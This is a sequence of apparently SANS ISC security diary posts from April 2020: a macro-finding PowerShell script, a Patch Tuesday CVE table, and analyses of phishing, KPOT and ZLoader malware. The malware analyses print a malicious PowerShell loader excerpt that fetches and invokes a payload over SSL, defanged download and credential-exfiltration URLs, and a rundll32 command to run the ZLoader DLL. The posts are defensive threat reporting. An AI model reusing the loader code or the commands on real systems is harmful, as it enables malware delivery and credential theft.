    $hasmacro = $false
    $hasxl4macro = $false
    $zone = 0
    $pwdprotected = $false
    $zerosize = $false
    # zero size?
    if ($indfile.length -eq 0)  { $zerosize = $true }

    # collect alt datastream info (zone)
    $b = (get-content $f -stream Zone.Identifier -erroraction 'silentlycontinue' )

    if ( $b.length -gt 0 ) { $zone = ($b -match "ZoneId").split("=")[1] }


    # skip zero byte files, but record them - possibly AV caught these during a file save
    # also check for and skip pwd protected files. Record them as *potential* malware

    if(( $ext.substring(0,3).tolower() -eq ".xl") -and (-not $zerosize)) {
        # collect excel specific info (are there macros?)
        # full path is required to open the file
        # echo the filename with path, just so we can monitor progress
        # and be sure the script is still running :-)
        write-host $f

        # is it password protected?
        try {
            $WorkBook = $objExcel.Workbooks.Open($f,$UpdateLinks,$ReadOnly,$XLImportFormat,"a")
        catch {
            $pwdprotected = $true

    # check the file if we are able to, then close it:
    if((-not $pwdprotected) -and (-not $zerosize)) {
        # excel macros?
        $hasmacro = $workbook.hasvbproject
        $hasxl4macro = $objExcel.Excel4MacroSheets.count + $objExcel.Excel4IntlMacroSheets.count

    if(( $ext.substring(0,3).tolower() -eq ".do") -and (-not $zerosize)) {
        # collect word specific info (are there macros?)
        #full path is required to open the file
        write-host $f
        # is it password protected? (a dummy password will trigger

        # the error condition if a password exists, no error if no pwd
        try {
            $Doc = $objWord.documents.Open($f,$ConfirmConversions,$ReadOnly,$AddToRecentFiles,"a")
            } catch {
            $pwdprotected = $true

        if((-not $pwdprotected) -and (-not $zerosize)) {
            # word macros?
            $hasmacro = $doc.hasvbproject

    # add all info to the list
    $tempobj = [pscustomobject]@{
                fname = $f
                zone = $zone
                macro = ($hasmacro -or $hasxl4macro)
                PwdProtected = $pwdprotected
                ZeroSize = $zerosize
                LastAccessTime = $indfile.LastAccessTime.tostring()
                Owner = $indfile.GetAccessControl().Owner

    $resultslist += $tempobj

# Close out the two apps

Now, with everything in a variable list, what "internet files" have macros?  (note - to export to a CSV file, use "export-csv" instead of "out-gridview")

$resultslist  | Where { ($_.zone -eq 3) -and ($_.macro -eq $true) } | out-gridview

or, if we're trying to just locate office files with macros:

$resultslist | where { $_.macro -eq $true } | out-gridview

Zero sized files?

$resultslist | where { $_.zerosize -eq $true } | out-gridview

You get the idea, with everything in hand, slice and dice as needed.  Or export to a CSV and use Excel as your "slicer and dicer" if you are more comfortable there.

Alternatively, if this is in a login script (so is run by each user, against their files as they log in), and your target is "$env:temp" then you might want to dump these to a CSV file, maybe based on userid and workstation name.  We're only interested if something is found, so there's a check for that in the "if" statement.
Finally, we want to run this as the user, so that we don't have to deal with monkeying with access rights to "temp" folders and so on.  In your login script, you'll want to bypass the execution policy (don't change the default though, you don't want to give folks the rights to run powershell accidentally):

powershell -ExecutionPolicy Bypass -file \\someserver\someshare\FindOfficeMacros.ps1

You'll want to modify the example script above to collect temp files and output any findings to a central location:

# at the begining of the script:
$targetshare = $env:temp

# ... main script goes here

# output section at the end ..

# be sure to terminate the share name with a "\"
$share = "\\someserver\someshare\"
$outfile = $share+$env:USERNAME+"-"+$env:COMPUTERNAME

# check so that we only output a file if we find something
$r = $resultslist | Where { $_.macro -eq $true }
if ($r.length -gt 0) { $r | export-csv $share+$env:COMPUTERNAME }

Again, this is more of a "concepts" blog - change things up to match your environment, just be sure that you ONLY open files as read-only.  Having powershell script MS office against all of your office files has some serious potential for damage - you can easily ransomware yourself (without the ransom possibility).

I did not collect the HostURL or ReferrerURL link variables for any files - that should be easy enough to add if you need that information.

If you've used this approach and found something interesting, please let us all know via the comment form! (NDA's permitting of course).


Rob VandenBrink


Published: 2020-04-14

Microsoft April 2020 Patch Tuesday

This month we got patches for 113 vulnerabilities total. According to Microsoft, three of them are being exploited (CVE-2020-1020, CVE-2020-0938 and CVE-2020-0968)  and two were previously disclosed (CVE-2020-1020 and CVE-2020-0935).

Two of the exploited vulnerabilities (CVE-2020-1020 and CVE-2020-0938) are RCEs found by Google Project Zero in Adobe Font Manager Library. They exist in way the library improperly handles a specially-crafted multi-master font - Adobe Type 1 PostScript format. For all systems except Windows 10, an attacker who successfully exploited the vulnerabilities could execute code remotely. For systems running Windows 10, an attacker who successfully exploited the vulnerabilities could execute code in an AppContainer sandbox context with limited privileges and capabilities.

The other exploited vulnerability (CVE-2020-0968) is remote code execution vulnerability in Internet Explorer. It consists in the way the scripting engine handles objects in memory. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. 

The highest CVSS v3 score this month (8.80) was given to the vulnerability CVE-2020-0687. It is a RCE in Microsoft Graphics and exists due to the way the library improperly handles specially crafted embedded fonts. An attacker who successfully exploited the vulnerability could take control of the affected system.

See Renato's dashboard for a more detailed breakout: https://patchtuesdaydashboard.com

CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG)
Adobe Font Manager Library Remote Code Execution Vulnerability
%%cve:2020-0938%% No Yes Detected Less Likely Critical 7.8 7.0
%%cve:2020-1020%% Yes Yes Detected Less Likely Critical 7.8 7.0
Chakra Scripting Engine Memory Corruption Vulnerability
%%cve:2020-0969%% No No - - Critical 4.2 3.8
Connected User Experiences and Telemetry Service Elevation of Privilege Vulnerability
%%cve:2020-0944%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1029%% No No Less Likely Less Likely Important 7.8 7.8
%%cve:2020-0942%% No No Less Likely Less Likely Important 6.3 5.7
DirectX Elevation of Privilege Vulnerability
%%cve:2020-0784%% No No More Likely More Likely Important 7.8 7.0
%%cve:2020-0888%% No No More Likely Less Likely Important 7.8 7.0
Dynamics Business Central Remote Code Execution Vulnerability
%%cve:2020-1022%% No No Less Likely Less Likely Critical    
GDI+ Remote Code Execution Vulnerability
%%cve:2020-0964%% No No Less Likely Less Likely Important 8.0 7.2
Jet Database Engine Remote Code Execution Vulnerability
%%cve:2020-0988%% No No Less Likely Less Likely Important 7.0 6.3
%%cve:2020-0992%% No No Less Likely Less Likely Important 7.0 6.3
%%cve:2020-0994%% No No Less Likely Less Likely Important 7.0 6.3
%%cve:2020-0995%% No No Less Likely Less Likely Important 7.0 6.3
%%cve:2020-0999%% No No Less Likely Less Likely Important 7.0 6.3
%%cve:2020-1008%% No No Less Likely Less Likely Important 7.0 6.3
%%cve:2020-0889%% No No Less Likely Less Likely Important 6.7 6.0
%%cve:2020-0953%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-0959%% No No Less Likely Less Likely Important 6.7 6.0
%%cve:2020-0960%% No No Less Likely Less Likely Important 6.7 6.0
MSR JavaScript Cryptography Library Security Feature Bypass Vulnerability
%%cve:2020-1026%% No No - - Important    
Media Foundation Information Disclosure Vulnerability
%%cve:2020-0945%% No No Less Likely Less Likely Important 5.5 5.0
%%cve:2020-0946%% No No Less Likely Less Likely Important 5.5 5.0
%%cve:2020-0947%% No No Less Likely Less Likely Important 5.5 5.0
%%cve:2020-0937%% No No Less Likely Less Likely Important 5.5 5.0
%%cve:2020-0939%% No No Less Likely Less Likely Important 5.5 5.0
Media Foundation Memory Corruption Vulnerability
%%cve:2020-0948%% No No Less Likely Less Likely Critical 7.8 7.0
%%cve:2020-0949%% No No Less Likely Less Likely Critical 7.8 7.0
%%cve:2020-0950%% No No Less Likely Less Likely Critical 7.8 7.0
Microsoft (MAU) Office Elevation of Privilege Vulnerability
%%cve:2020-0984%% No No - - Important    
Microsoft Defender Elevation of Privilege Vulnerability
%%cve:2020-1002%% No No Less Likely Less Likely Important    
Microsoft Dynamics 365 (On-Premise) Cross Site Scripting Vulnerability
%%cve:2020-1049%% No No Less Likely Less Likely Important    
%%cve:2020-1050%% No No Less Likely Less Likely Important    
Microsoft Dynamics Business Central/NAV Information Disclosure
%%cve:2020-1018%% No No Less Likely Less Likely Important    
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2020-0906%% No No Less Likely Less Likely Important    
%%cve:2020-0979%% No No - - Important    
Microsoft Graphics Component Information Disclosure Vulnerability
%%cve:2020-0987%% No No Less Likely Less Likely Important 5.5 5.0
%%cve:2020-1005%% No No Less Likely Less Likely Important 5.5 5.0
%%cve:2020-0982%% No No Less Likely Less Likely Important 5.5 5.0
Microsoft Graphics Components Remote Code Execution Vulnerability
%%cve:2020-0907%% No No Less Likely Less Likely Critical 7.8 7.0
Microsoft Graphics Remote Code Execution Vulnerability
%%cve:2020-0687%% No No Less Likely Less Likely Critical 8.8 7.9
Microsoft Office Access Connectivity Engine Remote Code Execution Vulnerability
%%cve:2020-0961%% No No Less Likely Less Likely Important    
Microsoft Office Remote Code Execution Vulnerability
%%cve:2020-0760%% No No Less Likely Less Likely Important    
%%cve:2020-0991%% No No Less Likely Less Likely Important    
Microsoft Office SharePoint XSS Vulnerability
%%cve:2020-0923%% No No Less Likely Less Likely Important    
%%cve:2020-0924%% No No Less Likely Less Likely Important    
%%cve:2020-0925%% No No Less Likely Less Likely Important    
%%cve:2020-0926%% No No Less Likely Less Likely Important    
%%cve:2020-0927%% No No Less Likely Less Likely Critical    
%%cve:2020-0930%% No No Less Likely Less Likely Important    
%%cve:2020-0933%% No No Less Likely Less Likely Important    
%%cve:2020-0954%% No No Less Likely Less Likely Important    
%%cve:2020-0973%% No No Less Likely Less Likely Important    
%%cve:2020-0978%% No No Less Likely Less Likely Important    
Microsoft RMS Sharing App for Mac Elevation of Privilege Vulnerability
%%cve:2020-1019%% No No - - Important    
Microsoft Remote Desktop App for Mac Elevation of Privilege Vulnerability
%%cve:2020-0919%% No No - - Important    
Microsoft SharePoint Remote Code Execution Vulnerability
%%cve:2020-0920%% No No Less Likely Less Likely Important    
%%cve:2020-0929%% No No Less Likely Less Likely Critical    
%%cve:2020-0931%% No No Less Likely Less Likely Critical    
%%cve:2020-0932%% No No Less Likely Less Likely Critical    
%%cve:2020-0971%% No No Less Likely Less Likely Important    
%%cve:2020-0974%% No No Less Likely Less Likely Critical    
Microsoft SharePoint Spoofing Vulnerability
%%cve:2020-0972%% No No Less Likely Less Likely Important    
%%cve:2020-0975%% No No Less Likely Less Likely Important    
%%cve:2020-0976%% No No - - Important    
%%cve:2020-0977%% No No Less Likely Less Likely Important    
Microsoft Visual Studio Elevation of Privilege Vulnerability
%%cve:2020-0899%% No No Less Likely Less Likely Important    
Microsoft Windows Codecs Library Remote Code Execution Vulnerability
%%cve:2020-0965%% No No Less Likely Less Likely Critical 7.8 7.0
Microsoft Windows Update Client Elevation of Privilege Vulnerability
%%cve:2020-1014%% No No Less Likely Less Likely Important 7.8 7.0
Microsoft Word Remote Code Execution Vulnerability
%%cve:2020-0980%% No No Less Likely Less Likely Important    
Microsoft YourPhone Application for Android Authentication Bypass Vulnerability
%%cve:2020-0943%% No No - - Important    
OneDrive for Windows Elevation of Privilege Vulnerability
%%cve:2020-0935%% Yes No - - Important    
Scripting Engine Memory Corruption Vulnerability
%%cve:2020-0968%% No Yes More Likely More Likely Critical 6.4 5.9
%%cve:2020-0970%% No No - - Critical 4.2 3.8
VBScript Remote Code Execution Vulnerability
%%cve:2020-0966%% No No Less Likely Less Likely Important    
%%cve:2020-0967%% No No Less Likely Less Likely Critical    
Visual Studio Extension Installer Service Elevation of Privilege Vulnerability
%%cve:2020-0900%% No No Less Likely Less Likely Important    
Win32k Elevation of Privilege Vulnerability
%%cve:2020-0956%% No No More Likely More Likely Important 7.0 6.3
%%cve:2020-0957%% No No - - Important 7.0 6.3
%%cve:2020-0958%% No No More Likely More Likely Important 7.0 6.3
Win32k Information Disclosure Vulnerability
%%cve:2020-0699%% No No Less Likely Less Likely Important 4.7 4.2
%%cve:2020-0962%% No No Less Likely Less Likely Important 4.7 4.2
Windows DNS Denial of Service Vulnerability
%%cve:2020-0993%% No No Less Likely Less Likely Important 6.5 5.9
Windows Defender Antimalware Platform Hard Link Elevation of Privilege Vulnerability
%%cve:2020-0835%% No No - - Important    
Windows Denial of Service Vulnerability
%%cve:2020-0794%% No No Less Likely Less Likely Important 7.1 6.4
Windows Elevation of Privilege Vulnerability
%%cve:2020-0934%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-0983%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1009%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1011%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1015%% No No Less Likely Less Likely Important 7.8 7.0
Windows GDI Information Disclosure Vulnerability
%%cve:2020-0952%% No No Less Likely Less Likely Important 5.5 5.0
Windows Graphics Component Elevation of Privilege Vulnerability
%%cve:2020-1004%% No No More Likely More Likely Important 7.8 7.0
Windows Hyper-V Elevation of Privilege Vulnerability
%%cve:2020-0917%% No No Less Likely Less Likely Important 8.4 7.6
%%cve:2020-0918%% No No Less Likely Less Likely Important 8.4 7.6
Windows Hyper-V Remote Code Execution Vulnerability
%%cve:2020-0910%% No No Less Likely Less Likely Critical 8.4 7.6
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2020-0913%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1000%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1003%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1027%% No No More Likely More Likely Important 7.8 7.0
Windows Kernel Information Disclosure Vulnerability
%%cve:2020-1007%% No No Less Likely Less Likely Important 5.5 5.0
%%cve:2020-0821%% No No Less Likely Less Likely Important 5.5 5.0
Windows Kernel Information Disclosure in CPU Memory Access
%%cve:2020-0955%% No No Less Likely Less Likely Important 5.5 5.0
Windows Push Notification Service Elevation of Privilege Vulnerability
%%cve:2020-1001%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1006%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-0940%% No No Less Likely Less Likely Important 7.0 6.3
%%cve:2020-1017%% No No Less Likely Less Likely Important 7.0 6.3
Windows Push Notification Service Information Disclosure Vulnerability
%%cve:2020-1016%% No No Less Likely Less Likely Important 5.5 5.0
Windows Scheduled Task Elevation of Privilege Vulnerability
%%cve:2020-0936%% No No Less Likely Less Likely Important 7.1 6.4
Windows Token Security Feature Bypass Vulnerability
%%cve:2020-0981%% No No Less Likely Less Likely Important 6.3 5.7
Windows Update Stack Elevation of Privilege Vulnerability
%%cve:2020-0985%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-0996%% No No Less Likely Less Likely Important 7.8 7.0
Windows VBScript Engine Remote Code Execution Vulnerability
%%cve:2020-0895%% No No Less Likely Less Likely Important 6.4 5.8
Windows Work Folder Service Elevation of Privilege Vulnerability
%%cve:2020-1094%% No No - - Important 7.8 7.0

Renato Marinho
Morphus Labs| LinkedIn|Twitter


Published: 2020-04-13

Look at the same phishing campaign 3 months apart

While going through a batch of malicious e-mails, which were caught by my mail filters in March, I noticed a simple phishing e-mail, which carried an entire credential-stealing page in its attachment. This, although interesting in its own way, would not be that unusual[1,2]. While I was analyzing it, however, I found that a nearly identical e-mail message, which was obviously part of the same campaign, was uploaded to Any.Run[3] back in January. Since I had two samples from nearly 3 months apart, I thought it might be interesting to take a look at how much has changed in this phishing campaign over that time.

The message from Any.Run, which may be seen on the left, was delivered on January 5th and came from a SMTP server of a Russian hospital. The phishers probably used a compromised account on the server as the same e-mail address was used to push other phishing e-mails as well around the same time[4]. The more recent message was sent through sendgrid.net – an e-mail marketing platform.

The signature seems to belong to a real person from a company in Australia, which really uses the domain precisionscreen[.]com[.]au and this lends the messages at least some credibility.

UPDATE: Howard Solomon, aka @HowardITWC, kindly mentioned to me that the company in question says on its website that phishing e-mails trying to appear as their communication are being sent under several names, Dooley Wilson being one of them, and that these are all illegitimate. Howard further pointed that Arthur "Dooley" Wilson was the actor who played Sam the piano player in the movie "Casablanca" and it is possible that this was intended as a joke by the author of the phishing.

Text of both messages is identical, as you may see, but the sender address in the second case looks much more believable. It should be mentioned that at the time of writing, the domain already had a SPF record published, but headers from the received e-mail show that this has only been a recent change.

Both attachments are nearly identical as well. Each HTML document is composed of several blocks of URL-encoded data, which is decoded by JavaScript when the page is loaded by a browser.

What is most interesting about the HTML page, besides the fact, that it holds the entire credential-stealing mechanism, is that it appears to be customized for each target. You may see this in the code above and in the page itself, shown bellow this paragraph.

It is worth noting that the page itself is a bit more complex than one might expect. After a user enters a password, it doesn’t simply send the credentials to a remote server, but instead displays a warning about the password being incorrect and asks the user to re-type it. The second password is then sent to a remote server, along with the relevant e-mail address.

This was probably done in order to make the user take extra care while typing the password and minimize the amount of unusable credentials gathered by the attackers.

The HTML page attached to the e-mail from January sent data to https[:]//interaktiva[.]com[.]pl/wp-admin/css/colors/midnight/report-pdf.php and the HTML page from the more recent message send data to https[:]//easb[.]edu[.]sg/administrator/includes/order/report-pdf.php.

In both cases, the browser was then redirected to https[:]//i[.]imgur[.]com/QAJ7I31.jpg. The image at that URL is no longer available, but since it was captured during the Any.Run analysis in January, we can see it was a sample image of a purchase order, which the phishers probably “borrowed” from here.

As we may see, even though the two phishing messages were sent nearly 3 months apart, they are almost identical – besides the use of different SMTP servers to push the phishing, the only differences were in the personalization of the HTML documents and the use of different domains to which the pages sent the stolen data.

It seems that the phishers behind this campaign are firm believers in the old adage “If it ain’t broke, don’t fix it”.

[1] https://isc.sans.edu/forums/diary/100+JavaScript+Phishing+Page/25220/
[2] https://isc.sans.edu/forums/diary/Phishing+with+a+selfcontained+credentialsstealing+webpage/25580/
[3] https://app.any.run/tasks/e569984a-19d8-4b62-a072-195733db5070/
[4] https://stopscamfraud.com/viewtopic.php?t=792

Jan Kopriva
Alef Nula


Published: 2020-04-12

Reader Analysis: "Dynamic analysis technique to get decrypted KPOT Malware."

Reader Vinnie shared his analysis of KPOT malware with us:


In a previous write up, I documented a PowerShell downloader (shown below) pushing KPOT malware. Since then, all of the files have been submitted to VirusTotal allowing for further analysis. This has also been recently documented by ISC Handler Didier Stevens (ISC Links below).
PowerShell Downloader:
ISC Links:
- https://isc.sans.edu/forums/diary/More+COVID19+Themed+Malware/25930/
- https://isc.sans.edu/forums/diary/KPOT+Deployed+via+AutoIt+Script/25934/

URLs from PowerShell Downloader:
hxxp://show1[.]website/OerAS.dat (Obfuscated AutoIt script, Base64 encoded as a certificate)
hxxp://show1[.]website/HeyaL.dat (AutoIt Interpreter) – Legitimate
hxxp://show1[.]website/iPYOy.dat (Encrypted KPOT Malware)

Excerpt from Base64 decoded AutoIt script(‘i8ek7’) showing obfuscation:

Decode function at the bottom of AutoIt script:

The string is split from ‘*’ and then each encoded character is subtracted from the number after the comma($integer) before being converted from Unicode.

Decoded sample:

All files necessary in the same folder ‘Temp’ – Windows 7 Virtual Machine:

Utilizing PowerShell to initiate infection chain:

Process chain showing ‘dllhost.exe’ process hollowing:
 CreateProcess: powershell.exe:2428 > "%UserProfile%\Downloads\Temp\r17mi.com i8ek7 "    
- [Child PID: 2452]
CreateProcess: r17mi.com:2452 > "%UserProfile%\Downloads\Temp\r17mi.com i8ek7 "    
- [Child PID: 2064]
CreateProcess: r17mi.com:2064 > "%WinDir%\SysWOW64\dllhost.exe"    
- [Child PID: 2244]
CreateProcess: dllhost.exe:2244 > "%WinDir%\system32\cmd.exe /c ping && del %WinDir%\SysWOW64\dllhost.exe"    
- [Child PID: 536]
CreateProcess: cmd.exe:536 > "ping "

“dllhost.exe” process dump via Task Manager:

String analysis via “strings” show command and control (C2) servers:

Extract executables via “foremost”:

The decrypted KPOT malware has the SHA256 Hash “3fd4aa339bdfee23684ff495d884aa842165e61af85fd09411abfd64b9780146” and VT score of 34/71.

Sampled VirusTotal signatures:

String analysis of KPOT malware via “FLOSS”:

Strings indicative of information stealers:



Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2020-04-11

Wireshark 3.2.3 Released: Mac Users Pay Attention Please

Wireshark version 3.2.3 was released.

It has fixes for a vulnerability and bugs.

Important notice for Mac users:

Wireshark 3.2.0 to 3.2.2 might not update automatically on macOS in some cases. If you’re running those versions on macOS you might have to update to a later version manually. Bug 16416

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2020-04-10

Critical Vuln in vCenter vmdir (CVE-2020-3952)

On April 9, VMware published VMSA-2020-0006, a security advisory for a critical vulnerability in vCenter Server that received the maximum CVSSv3 score of 10.0.  The vulnerablity, %%cve:2020-3952%% , involves a sensitive information disclosure flaw in the VMware Directory Service (vmdir) which is included with VMware vCenter. Per the advisory, vmdir does not implement proper access controls, which could allow a malicious attacker with network access to obtain sensitive information.  This likely can allow the attacker to compromise other services which rely on vmdir for authentication.

We recommend reviewing the security advisory and related KB article and determine if it is applicable for organizations utilizing vCenter and take action as soon as possible to limit exposure.



ISC Handler


Published: 2020-04-10

PowerShell Sample Extracting Payload From SSL

Another diary, another technique to fetch a malicious payload and execute it on the victim host. I spotted this piece of Powershell code this morning while reviewing my hunting results. It implements a very interesting technique. As usual, all the code snippets below have been beautified.

First, it implements a function to reverse obfuscated strings:

function Rev($s) {
    $s = $s.ToCharArray(); 
    $s = -join($s); 
    return $s; 

Here is an example:

Rev('maertSlsS.ytiruceS.teN') = 'SslStream.Security.Net'

Easy! The core of the script implements a classic injection via 'System.Reflection.Assembly'[1]

$data1=Get-File $ldr;
$data2=Get-File $guid;
$m1=Rev 'epyTteG';      # GetType
$m2=Rev 'dohteMteG';    # GetMethod
$m3=Rev 'ekovnI';       # Invoke
[byte[][]] $Params=@(,$data2);
$ldr.($m3)($null,$Params) | Out-Null;
;while($true){sleep 5}

You can see two calls to a Get-File() function. From where are these payload downloaded? Let's have a look at the function:

    if($crt -eq $null) {
        return $false
    $h=New-Object -TypeName Security.Cryptography.SHA256Managed;
    $result=([string]::Compare($hs, $thumb, $true) -eq 0);
    return $result;

function Read-Data($ssl, $a)
    $b=New-Object Byte[] $a;
    while($r -gt 0)
        if($i -le 0){exit}
    return ,$b;

function Get-File($val)
    $t1=Rev 'tneilCpcT.stekcoS.teN';     # TcpClient.Sockets.Net
    $t2=Rev 'maertSlsS.ytiruceS.teN';    # SslStream.Security.Net
    $m=Rev 'tneilCsAetacitnehtuA';       # AuthenticateAsClient
    $c=New-Object $t1 $addr, $port;
    $ssl=New-Object $t2 $c.GetStream(), false, $cc;
    $aac=New-Object String 0;
    $bf=Read-Data $ssl 4;
    $ret=Read-Data $ssl $a;
    return ,$ret;

As you can see the SslStream.AuthenticateAsClient method[2] is used. Data returned in the SSL connection is dumped into the variable. Here are the details (IOCs):


Unfortunately, I was not able to reach the IP address to fetch the certificate/payload. Server down or restricted connectivity from specific locations? I'm keeping an eye on the server and hope to fetch more data if it comes back online.

It's a Microsoft Azure host. I found this certificate information on PassiveTotal:

If you're interested in playing with Powershell and certificates, Rob already published a diary[3] a long time ago about this topic.

[1] https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly
[2] https://docs.microsoft.com/en-us/dotnet/api/system.net.security.sslstream.authenticateasclient
[3] https://isc.sans.edu/forums/diary/Assessing+Remote+Certificates+with+Powershell/20645/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2020-04-08

German malspam pushes ZLoader malware


Today's diary reviews German malicious spam (malspam) from Tuesday 2020-04-07 pushing ZLoader malware.  Also known as Terdot or DELoader, ZLoader is the latest version or variant from this family of malware that has been active for years.

Shown above:  Flow chart for this infection chain.

The malspam

I found two emails that contained zip archives for ZLoader.  The attachments appear to be invoices for some sort of transaction.

Shown above:  First example of malspam pushing ZLoader.

Shown above:  Second example of malspam pushing ZLoader.

Shown above:  Extracting a VBS file from one of the attachments.

The infection traffic

Network traffic caused by a ZLoader infection is all HTTPS, so to view the content, you must have created a decryption key when the infection traffic was first recorded.  This is usually done using some sort of Man In The Middle (MITM) setup.  I used my account with the Any.Run sandbox to use the MITM method to create a decryption key for the infection traffic (here is the analysis).  I have a sanitized copy of the pcap and decryption key here.  The following images show how to use the decryption key in Wireshark (in this case, Wireshark version 2.6.8 on a Debian host) to view the HTTPS traffic.

Shown above:  After downloading the zip archive of the pcap data from my blog (link), open the first pcap in Wireshark, then go to the Preferences window.

Shown above:  In the Preferences window, expand the "Protocols" entry on the left.

Shown above:  If using Wireshark 2.x, scroll down and select SSL under the Protocols section.  If using Wireshark 3.x, scroll down and select TLS.  Browse for the (Pre)-Master-Secret log filename.

Shown above:  Select the appropriate SSLKeysLogFile which should be the only text file in zip archive for the infection traffic.

Shown above:  Once you've selected the appropriate SSLKeysLogFile, click the OK button.

Shown above:  Now when you filter on web traffic, Wireshark shows the associated HTTP requests within the HTTPS traffic.

Shown above:  After filtering on web traffic, now you can follow the HTTP stream for the HTTP requests that show up in the column display.  Note: Follow HTTP stream, not TCP stream.

Shown above:  An example of HTTP data within the HTTPS traffic caused by a ZLoader infection.

Forensics on an infected Windows host

The initial ZLoader DLL file is dropped to the infected user's AppData\Local\Temp directory.  Even though this is a DLL, the file is initially dropped with an ".exe" file extension.  But it is run as a DLL using rundll32.exe with DllRegisterServer as the entry point.  When executed, ZLoader creates several folders under the infected user's AppData\Roaming directory and copies itself under one of those newly-created folders to become persistent.  ZLoader is kept persistent through an update to the Windows registry.

Shown above:  A sample of ZLoader on my infected lab host.

Shown above:  Under the user's AppData\Roaming directory, we also find several decoy folders created during this ZLoader infection.

Indicators of Compromise (IoCs)

The following are email headers and attachment info from the two examples of ZLoader malspam I found through VirusTotal.

Email example 1 of 2:

  • Received: from web-atmail1.tpgi.com.au (web-atmail1.tpgi.com.au [])
  • Date: Tue, 07 Apr 2020 14:56:58 UTC
  • From: bogasa@tpg.com.au
  • Subject: Zahlung - 7363714
  • Attachment name: vcs_lik95-8455713771-45095139699-273.zip

Example 2 of 2:

  • Received: from web-atmail2.tpgi.com.au (web-atmail2.tpgi.com.au [])
  • Date: Wed, 08 Apr 2020 01:05:55 +1000
  • From: adm50@tpg.com.au
  • Subject: LASTSCHRIFT 8741548/96 - 695167_0 - [name removed]
  • Attachment name: SQA499CWFY55.zip

The following information is from malware associated with the ZLoader infection from Tuesday 2020-04-07:

SHA256 hash: 763d2b64b0876a922ae47bd76114d9619376b9683216c35131d7e810fce9d630

  • File size: 346,978 bytes
  • File name: vcs_lik95-8455713771-45095139699-273.zip
  • File description: Zip archive attached to first malspam example

SHA256 hash: 9d359f1af657d29feb6f009791bc5140359b0cbb53db8ca508aecd3a35a5719b

  • File size: 1,196,653 bytes
  • File name: vcs_lik95-8455713771-45095139699-273.vbs
  • File description: VBS file extracted from zip archive attached to first malspam example

SHA256 hash: 64aa5ded721d64197e138b7d30c08f75efdea280df768fd12291aaaa3ab00570

  • File size: 357,876 bytes
  • File name: SQA499CWFY55.zip
  • File description: Zip archive attached to second malspam example

SHA256 hash: 2fb86ee7329ab7f43d99812e15f113901629c73b99b703f335b131dd30f20ac4

  • File size: 1,211,873 bytes
  • File name: SQA499CWFY55.vbs
  • File description: VBS file extracted from zip archive attached to second malspam example

SHA256 hash: 8d5a770975e52ce1048534372207336f6cc657b43887daa49994e63e8d7f6ce1

  • File size: 877,056 bytes
  • Initial file location: C:\Users\[username]\AppData\Local\Temp\FfIYXQPKpCQymHQ.exe
  • Persistent file location: C:\Users\[username]\AppData\Roaming\Kiyzex\wirynau.dll
  • File description: ZLoader malware DLL binary
  • To run this DLL: rundll32.exe wirynau.dll,DllRegisterServer
  • Note 1: The initial file name is different for each VBS file
  • Note 2: The persistent file name and path under the Roaming folder is different each infection

The following are indicators of traffic from an infected Windows host:

  • 51.83.216[.]232 port 443 (HTTPS) - knalc[.]com - POST /sound.php
  • 162.241.175[.]162 port 443 (HTTPS) - namilh[.]com - POST /sound.php
  • 162.241.175[.]162 port 443 (HTTPS) - ronswank[.]com - POST /sound.php
  • 162.241.201[.]253 port 443 (HTTPS) - stagolk[.]com - POST /sound.php
  • DNS query for mioniough[.]com (did not resolve to an IP address)
  • DNS query for ergensu[.]com (did not resolve to an IP address)

Note: Infection traffic cycled through the above URLs and domain queries 3 times, then it started generating DNS queries for random 20-character alphabetic strings with .com as the top level domain (TLD).  I've included some examples below.

  • DNS query for jgqhigsjkulmsvvhshmk[.]com (response: No such name)
  • DNS query for wapjdxlstholqwakofgi[.]com (response: No such name)
  • DNS query for aiavxvlshmkweccksfky[.]com (response: No such name)
  • DNS query for liswrfujohqsnbnohetn[.]com (response: No such name)
  • DNS query for hciqylualwcnyvajdkqq[.]com (response: No such name)
  • DNS query for pdtlshacpbacpnhcndpd[.]com (response: No such name)
  • DNS query for kdacggcctwcavdgvpbmk[.]com (response: No such name)
  • DNS query for wapwtpwciertrhkdaxrp[.]com (response: No such name)
  • DNS query for shyjgiyhyegxeqqpdtya[.]com (response: No such name)
  • DNS query for gccggcctwcerlshacpba[.]com (response: No such name)
  • DNS query for cpnhcndpdkylibtlbeco[.]com (response: No such name)
  • DNS query for bxhwpdkqdakbplfvfqwn[.]com (response: No such name)
  • DNS query for bioonshmwrbecckfcavh[.]com (response: No such name)

Certificate issuer data for HTTPS traffic to knalc[.]com on 51.83.216[.]232:

  • id-at-countryName=FR
  • id-at-stateOrProvinceName=Paris
  • id-at-localityName=Paris
  • id-at-organizationName=orangeltd
  • id-at-organizationalUnitName=site
  • id-at-commonName=
  • pkcs-9-at-emailAddress=admin@hosting.com

Certificate issuer data for HTTPS traffic to namilh[.]com and ronswank[.]com, both on 162.241.175[.]162, and stagolk[.]com on 162.241.201[.]253:

  • id-at-countryName=AU
  • id-at-stateOrProvinceName=Sydney
  • id-at-localityName=Sydney
  • id-at-organizationName=floraltd
  • id-at-organizationalUnitName=site
  • id-at-commonName=
  • pkcs-9-at-emailAddress=admin@flora/net

Final words

As usual, these types of infections are not very effective against a fully-patched and up-to-date computer running the latest version of Microsoft Windows.  The default virus & threat protection settings should stop these samples of ZLoader from infecting a Windows 10 host.  Real-time protection and Tamper Protection are designed to prevent such activity.

